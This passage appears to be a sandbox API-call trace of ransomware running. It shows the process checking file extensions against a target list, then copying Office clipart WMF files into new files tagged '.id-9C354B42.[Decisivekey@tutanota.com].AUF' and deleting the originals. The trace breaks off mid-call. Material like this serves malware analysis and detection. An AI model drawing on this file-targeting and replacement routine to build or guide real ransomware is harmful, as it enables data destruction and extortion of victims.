lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0222.816] lstrlenW (lpString=".zip") returned 4 [0222.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.816] lstrlenW (lpString=".rar") returned 4 [0222.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.816] lstrlenW (lpString=".bz2") returned 4 [0222.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.816] lstrlenW (lpString=".7z") returned 3 [0222.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0222.817] lstrlenW (lpString=".dbf") returned 4 [0222.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0222.817] lstrlenW (lpString=".1cd") returned 4 [0222.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0222.817] lstrlenW (lpString=".jpg") returned 4 [0222.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.817] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=22116) returned 1 [0222.817] CloseHandle (hObject=0x22c) returned 1 [0222.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0222.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.818] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.818] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.818] GetLastError () returned 0x0 [0222.818] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5664, lpOverlapped=0x0) returned 1 [0222.847] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5670, lpOverlapped=0x0) returned 1 [0222.848] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.848] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.848] SetEndOfFile (hFile=0x218) returned 1 [0222.849] CloseHandle (hObject=0x218) returned 1 [0222.849] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.849] SetEndOfFile (hFile=0x22c) returned 1 [0222.850] CloseHandle (hObject=0x22c) returned 1 [0222.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0222.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0222.850] lstrlenW (lpString=".doc") returned 4 [0222.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.850] lstrlenW (lpString=".docx") returned 5 [0222.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.850] lstrlenW (lpString=".pdf") returned 4 [0222.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.850] lstrlenW (lpString=".xls") returned 4 [0222.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.850] lstrlenW (lpString=".xlsx") returned 5 [0222.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.850] lstrlenW (lpString=".ppt") returned 4 [0222.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0222.850] lstrlenW (lpString=".zip") returned 4 [0222.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.850] lstrlenW (lpString=".rar") returned 4 [0222.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.850] lstrlenW (lpString=".bz2") returned 4 [0222.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.851] lstrlenW (lpString=".7z") returned 3 [0222.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0222.851] lstrlenW (lpString=".dbf") returned 4 [0222.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0222.851] lstrlenW (lpString=".1cd") returned 4 [0222.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0222.851] lstrlenW (lpString=".jpg") returned 4 [0222.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.851] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=15852) returned 1 [0222.851] CloseHandle (hObject=0x22c) returned 1 [0222.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0222.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.852] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.852] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.852] GetLastError () returned 0x0 [0222.852] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3dec, lpOverlapped=0x0) returned 1 [0222.858] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3df0, lpOverlapped=0x0) returned 1 [0222.859] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.859] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.859] SetEndOfFile (hFile=0x218) returned 1 [0222.859] CloseHandle (hObject=0x218) returned 1 [0222.860] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.860] SetEndOfFile (hFile=0x22c) returned 1 [0222.860] CloseHandle (hObject=0x22c) returned 1 [0222.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0222.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0222.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0222.861] lstrlenW (lpString=".doc") returned 4 [0222.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString=".docx") returned 5 [0222.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.861] lstrlenW (lpString=".pdf") returned 4 [0222.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString=".xls") returned 4 [0222.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.861] lstrlenW (lpString=".xlsx") returned 5 [0222.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.861] lstrlenW (lpString=".ppt") returned 4 [0222.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0222.861] lstrlenW (lpString=".zip") returned 4 [0222.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.861] lstrlenW (lpString=".rar") returned 4 [0222.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString=".bz2") returned 4 [0222.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString=".7z") returned 3 [0222.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0222.861] lstrlenW (lpString=".dbf") returned 4 [0222.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0222.861] lstrlenW (lpString=".1cd") returned 4 [0222.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0222.861] lstrlenW (lpString=".jpg") returned 4 [0222.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.862] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2832) returned 1 [0222.862] CloseHandle (hObject=0x22c) returned 1 [0222.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0222.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.863] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.863] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.863] GetLastError () returned 0x0 [0222.863] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xb10, lpOverlapped=0x0) returned 1 [0222.925] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0222.926] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.926] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.926] SetEndOfFile (hFile=0x218) returned 1 [0223.570] CloseHandle (hObject=0x218) returned 1 [0223.570] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.570] SetEndOfFile (hFile=0x22c) returned 1 [0223.710] CloseHandle (hObject=0x22c) returned 1 [0223.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0223.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0223.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0223.710] lstrlenW (lpString=".doc") returned 4 [0223.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0223.710] lstrlenW (lpString=".docx") returned 5 [0223.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0223.711] lstrlenW (lpString=".pdf") returned 4 [0223.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0223.711] lstrlenW (lpString=".xls") returned 4 [0223.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0223.711] lstrlenW (lpString=".xlsx") returned 5 [0223.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0223.711] lstrlenW (lpString=".ppt") returned 4 [0223.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0223.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0223.711] lstrlenW (lpString=".zip") returned 4 [0223.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0223.711] lstrlenW (lpString=".rar") returned 4 [0223.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0223.711] lstrlenW (lpString=".bz2") returned 4 [0223.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0223.711] lstrlenW (lpString=".7z") returned 3 [0223.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0223.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0223.711] lstrlenW (lpString=".dbf") returned 4 [0223.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0223.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0223.711] lstrlenW (lpString=".1cd") returned 4 [0223.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0223.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0223.711] lstrlenW (lpString=".jpg") returned 4 [0223.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.603] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.603] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.603] GetLastError () returned 0x0 [0224.603] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0224.604] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2bc0, lpOverlapped=0x0) returned 1 [0224.605] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.605] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.605] SetEndOfFile (hFile=0x228) returned 1 [0224.605] CloseHandle (hObject=0x228) returned 1 [0224.605] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.605] SetEndOfFile (hFile=0x208) returned 1 [0224.606] CloseHandle (hObject=0x208) returned 1 [0224.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0224.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0224.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0224.607] lstrlenW (lpString=".doc") returned 4 [0224.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString=".docx") returned 5 [0224.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.607] lstrlenW (lpString=".pdf") returned 4 [0224.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString=".xls") returned 4 [0224.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.607] lstrlenW (lpString=".xlsx") returned 5 [0224.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.607] lstrlenW (lpString=".ppt") returned 4 [0224.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0224.607] lstrlenW (lpString=".zip") returned 4 [0224.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.607] lstrlenW (lpString=".rar") returned 4 [0224.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString=".bz2") returned 4 [0224.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString=".7z") returned 3 [0224.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0224.607] lstrlenW (lpString=".dbf") returned 4 [0224.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0224.607] lstrlenW (lpString=".1cd") returned 4 [0224.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0224.608] lstrlenW (lpString=".jpg") returned 4 [0224.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.608] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=17016) returned 1 [0224.608] CloseHandle (hObject=0x208) returned 1 [0224.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0224.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.608] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.608] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.609] GetLastError () returned 0x0 [0224.609] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4278, lpOverlapped=0x0) returned 1 [0224.617] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4280, lpOverlapped=0x0) returned 1 [0224.618] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: 